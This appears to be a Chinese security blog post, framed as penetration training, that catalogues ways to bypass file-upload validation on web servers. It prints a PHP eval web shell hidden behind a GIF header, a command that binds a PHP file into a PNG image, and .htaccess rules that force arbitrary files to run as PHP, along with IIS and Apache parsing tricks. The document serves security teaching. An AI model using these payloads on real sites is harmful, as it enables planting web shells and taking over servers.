渗透培训《文件上传》姿势

少羽.
少羽.
少羽.
418
文章
87
评论
2020年2月16日20:20:18 评论 2,155 1786字阅读5分57秒
广告也精彩

本篇要介绍的是常见的几种文件上传绕过姿势。

渗透培训《文件上传》姿势

积极响应国家号召,此类文章统一禁止查看

输入密码查看隐藏内容:

文件上传校验

1.前端javascript校验(一般只校验后缀名)

2.服务端校验

3.文件头content-type字段校验(image/gif)

4.文件内容头校验(GIF89a)

5.后缀名黑名单校验

6.后缀名白名单校验

7.WAF设备校验(根据不同的WAF产品而定)

8.其他绕过方式

客户端校验

​ 判断方式:上传文件时还未点击上传按钮便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。

绕过方式:

1、可以用firebug将form表单中的JS事件删除,这样就可以绕过验证。
2、利用burp抓包改包,先上传一个gif类型的木马,然后通过burp将其改为asp/php/jsp后缀名即可。

文件头content-type字段校验

绕过方式:通过抓包,将content-type字段改为image/gif或者image/png等允许上传的文件类型

文件内容头校验

绕过方式:

在一句话木马前面再加一些图片文件信息,如

GIF89a<?php @eval($_POST['caidao']);?>

Windows捆绑

copy 1.png /b + 2.php /a 3.png

常见的文件头对应关系:

(1)  .JPEG;.JPE;.JPG   ------------    ”JPGGraphic File”
(2)  .gif  --------------      ”GIF 89A”
(3)  .zip  -------------      ”Zip Compressed”
(4)  .doc;.xls;.xlt;.ppt;.apr   --------------      ”MS Compound Document v1 or Lotus Approach APRfile”

后缀名黑名单校验

找黑名单扩展名的漏网之鱼 - 比如 asa 和 cer 之类

可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类

在window下,若文件名以”.”或者空格作为结尾,系统会自动去除”.”与空格, 所以可以上传以“asp.”和“asp_”为扩展名的文件

0x00截断绕过

IIS6.0解析漏洞

在网站下建立文件夹的名字为*.asp、*.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。例如创建目录vidun.asp,那么/vidun.asp/f1jpg将被当作asp文件来执行。(Burp抓包后,在目录后面添加文件夹,如upload/1.asp,而文件名还是f1.jpg)
上传一个 名字叫 "vidun.asp;.jpg"的木马文件,该文件可以被当作asp文件解析并执行。

能被解析的文件扩展名列表:

jsp  jspx  jspf
asp  asa  cer  aspx
php  php  php3  php4
exe  exee

后缀名白名单校验

0x00截断绕过

此时若在iis6.0,则可以将木马名改为test.asp;1.jpg来上传,从而通过验证
配合解析漏洞

WAF设备校验

垃圾数据
可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容;

也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。

上传过WAF总结-15种

其他绕过方式

.htaccess文件攻击

先上传一个.htaccess文件,通过它调用php解析器去解析一个文件名中只要包含”haha”这个字符串的任意文件,无论扩展名是什么(没有也行),都会以php的方式来解析

.haccess文件代码如下:

<FilesMatch "haha">
SetHandler application/x-httpd-php
</FilesMatch>

或者如下,上传一个文件名为evil.gif的图片马:

<FilesMatch "evil.gif">
SetHandler application/x-httpd-php
</FilesMatch>

然后再上传haha.png即可

Apache解析漏洞

Apache不管文件最后的后缀名是什么 ,只要是.php.*为结尾,就会被apache服务器解析成PHP的文件
Apache的Mime.type配置文件定义了Apache能够解析哪些文件的类型。

当apache遇到xx.php.rar或者Xxx.php.111这些默认没有在mime.types文件定义的都会解析成php的文件。

[/wechat]

继续阅读
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
广告也精彩
少羽.
  • 本文由 发表于 2020年2月16日20:20:18
  • 除非特殊声明,本站文章均为原创,转载请务必保留本文链接
渗透培训《文件包含》漏洞 渗透笔记

渗透培训《文件包含》漏洞

原理 文件包含漏洞产生的原因是在通过php函数引入文件时,由于传入的文件名没有经过合理的校验,从而引发了文件的泄漏或者恶意代码的注入 本文包含 图片马使用教程(很多人知道图片马却不知道使用方法) 积极...
渗透培训《搜索引擎》利用 渗透笔记

渗透培训《搜索引擎》利用

本篇要介绍的搜索引擎包括:Shodan,censys,钟馗之眼,Google,FoFa,Dnsdb等。介绍的内容主要是这几款搜索引擎的一些高级语法,掌握高级语法会让搜索结果更准确。 积极响应国家号召,...
原来Java反序列化远程执行漏洞这么简单 技术园

原来Java反序列化远程执行漏洞这么简单

在这里我们对Java中反序列化问题引发的远程代码执行漏洞的原理进行介绍。为了简化说明,在不引入第3方库的前提下进行操作,希望能起到抛砖引玉的效果。 主要有3个部分组成: Java的反省机制 Java的...
广告也精彩
匿名

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: